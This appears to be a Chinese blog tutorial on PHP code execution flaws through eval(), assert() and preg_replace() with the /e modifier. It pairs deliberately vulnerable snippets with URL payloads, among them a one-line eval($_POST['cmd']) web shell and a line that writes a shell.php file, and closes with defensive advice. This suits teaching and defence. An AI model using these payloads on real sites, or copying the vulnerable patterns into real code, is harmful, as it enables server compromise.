代码执行漏洞

一、代码执行漏洞:

1、漏洞简述:

        当应用在调用一些字符串转化为代码的函数时,没有考虑用户是否能控制这个字符串,将造成代码执行漏洞。

2、代码执行常见函数:

(1)PHP:

1、eval():把一些字符串当作代码来执行
2、assert():执行一些函数
3、preg_replace()

(2)JAVA:

没有类似的函数,但是一些引擎可以达成相同的效果

二、实例:

1、对于 assert() 函数:

(1)实例源码:

<?php
	function funtest1(){
		echo '这是一个页面';
	}
	
	$_GET['a']($_GET['b']);
?>

 (2)payload:

?a=assert&b=phpinfo()
2、对于 eval() 函数:

(1)实例源码:

<?php
	if(isset($_GET['cc'])){
		@eval($_GET['cc']);
	}else{
		echo "请传入参数!";
	}
?>

(2)payload:

?cc=echo chunchun;
?cc=phpinfo();
?cc=@eval($_POST['cmd']);

有时候需要先执行正确的语句,这时候应该设置为:
?cc=echo 1;@eval($_POST['cmd']);

?cc=fputs(fopen("shell.php","a"),"<?php phpinfo();?>");
3、对于 preg_replace() 函数:

实例1:

(1)源码:

<?php
    function complexStrtolower($regex, $value)
    {
        return preg_replace('/(' . $regex . ')/ie', 'strtolower("\\1")', $value);
    }
    foreach ($_GET as $regex => $value) {
        complexStrtolower($regex, $value);
    }
?>

(2)payload:

?\S*={${phpinfo()}}

实例2:

(1)源码:

<?php
	$value = $_GET['cc'];
	preg_replace('/(\S*)/ie', "\\1", $value);
?>

(2)payload:

?cc=phpinfo()

实例3:

(1)源码:

<?php
$data = $_GET['data'];
preg_replace('/<data>(.*)<\/data>/e','$ret = "\\1";',$data);
?>

(2)payload:

?data=<data>{${phpinfo()}}</data>

三、漏洞防御:

1、使用 json 保存数组;

2、对于必须使用 eval 的地方,一定严格处理用户数据(白名单、黑名单);

3、字符串使用单引号包括可控代码,插入前使用 addslashes 转义(addslashes、魔术引号、 htmlspecialchars、 htmlentities、mysql_real_escape_string) ;

4、放弃使用 preg_replace 的 e 修饰符,使用 preg_replace_callback()替换;

5、若必须使用 preg_replace 的 e 修饰符,则必用单引号包裹正则匹配出的对象;

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值